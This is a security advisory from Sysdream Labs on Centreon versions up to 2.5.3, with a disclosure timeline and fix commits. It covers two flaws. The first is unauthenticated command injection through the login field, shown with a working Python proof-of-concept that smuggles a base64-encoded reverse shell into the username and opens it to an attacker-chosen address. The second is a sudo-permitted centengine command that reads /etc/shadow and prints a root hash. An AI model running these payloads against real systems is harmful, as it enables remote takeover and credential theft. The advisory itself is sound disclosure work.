Unauthenticated Remote Command Execution in Centreon Web Interface ================================================================== Description =========== Centreon is a popular monitoring solution. A critical vulnerability has been found in the Centreon logging class allowing remote users to execute arbitrary commands. SQL injection leading to RCE ============================ Centreon logs SQL database errors in a log file using the "echo" system command and the exec() PHP function. On the authentification class, Centreon use htmlentities with the ENT_QUOTES options to filter SQL entities. However, Centreon doesn't filter the SQL escape character "\" and it is possible to generate an SQL Error. Because of the use of the "echo" system command with the PHP exec() function, and because of the lack of sanitization, it is possible to inject arbitrary system commands. **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-78 ---------------- Proof of Concept ---------------- TCP Reverse Shell using python. #!/usr/bin/env python import requests import argparse def shell(target, reverseip, reverseport): payload = 'import socket as a,subprocess as b,os as c;s=a.socket(2,1);s.connect(("%s",%d));d=s.fileno();c.dup2(d,0);c.dup2(d,1);c.dup2(d,2);p=b.call(["sh"]);' % (reverseip,reverseport) print "[~] Starting reverseshell : %s - port : %d" % (reverseip, reverseport) req = requests.post(target, data={"useralias": "$(echo %s | base64 -d | python)\\" % payload.encode("base64").replace("\n",""), "password": "foo"}) print "[+] DEAD !" if __name__ == "__main__": print "[~] Centreon Unauthentificated RCE - Nicolas Chatelain <n.chatelain@sysdream.com>" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True) parser.add_argument("--reverseip", required=True) parser.add_argument("--reverseport", required=True, type=int) args = parser.parse_args() shell(args.target, args.reverseip, args.reverseport) Shell : nightlydev@nworkstation ~/Lab/Centreon $ python reverseshell.py --target=http://172.16.138.137/centreon/index.php --reverseip=172.16.138.1 --reverseport 8888 [~] Centreon Unauthentificated RCE - Nicolas Chatelain <n.chatelain@sysdream.com> [~] Starting reverseshell : 172.16.138.1 - port : 8888 # Other term nightlydev@nworkstation ~/Lab/Centreon $ nc -lvp 8888 Ncat: Version 6.45 ( http://nmap.org/ncat ) Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888 Ncat: Connection from 172.16.138.135. Ncat: Connection from 172.16.138.135:50050. whoami apache groups apache centreon-engine centreon-broker centreon nagios --------------- Vulnerable code --------------- The vulnerable code is located in class/centreonLog.class.php, line 82 and line 154: /* * print Error in log file. */ exec("echo \"".$string."\" >> ".$this->errorType[$id]); In class/centreonAuth.class.php, line 227: $DBRESULT = $this->pearDB->query("SELECT * FROM `contact` WHERE `contact_alias` = '" . htmlentities($username, ENT_QUOTES, "UTF-8") . "' AND `contact_activate` = '1' AND `contact_register` = '1' LIMIT 1"); -------- Solution -------- Update to the Centreon 2.5.4 Possible root password disclosure in centengine (Centreon Entreprise Server) ============================================================================ In some configurations, when centengine can run as root (with sudo). It's possible to read some file content. **Access Vector**: local **Security Risk**: high **Vulnerability**: CWE-209 ---------------- Proof of Concept ---------------- $ sudo /usr/sbin/centengine -v /etc/shadow [1416391088] reading main config file [1416391088] error while processing a config file: [/etc/shadow:1] bad variable name: 'root:$6$3mvvEHQM3p3afuh4$DZ377daOy.8bn42t7ur82/Geplvsj90J7cs1xsgAbRZ0JDZ8KdB5CcQ0ucF5dwKpnBYLon1XBqjJPqpm6Zr5R0:16392:0:99999:7:::' [1416391088] --------------- Vulnerable code --------------- In Centreon Entreprise Server (CES) : /etc/sudoers.d/centreon CENTREON ALL = NOPASSWD: /usr/sbin/centengine -v * -------- Solution -------- Do not allow centengine to be run as root or do not disclose the line that caused the error. Timeline (dd/mm/yyyy) ===================== * 18/11/2014 : Initial discovery * 26/11/2014 : Contact with Centreon team * 27/11/2014 : Centreon correct vulnerabilities * 27/11/2014 : Centreon release version 2.5.4 that fixes vulnerabilities Fixes ===== * https://github.com/centreon/centreon/commit/a6dd914418dd185a698050349e05f10438fde2a9 * https://github.com/centreon/centreon/commit/d00f3e015d6cf64e45822629b00068116e90ae4d * https://github.com/centreon/centreon/commit/015e875482d7ff6016edcca27bffe765c2bd77c1 Affected versions ================= * Centreon <= 2.5.3 Credits ======= * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com) Best regards, -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream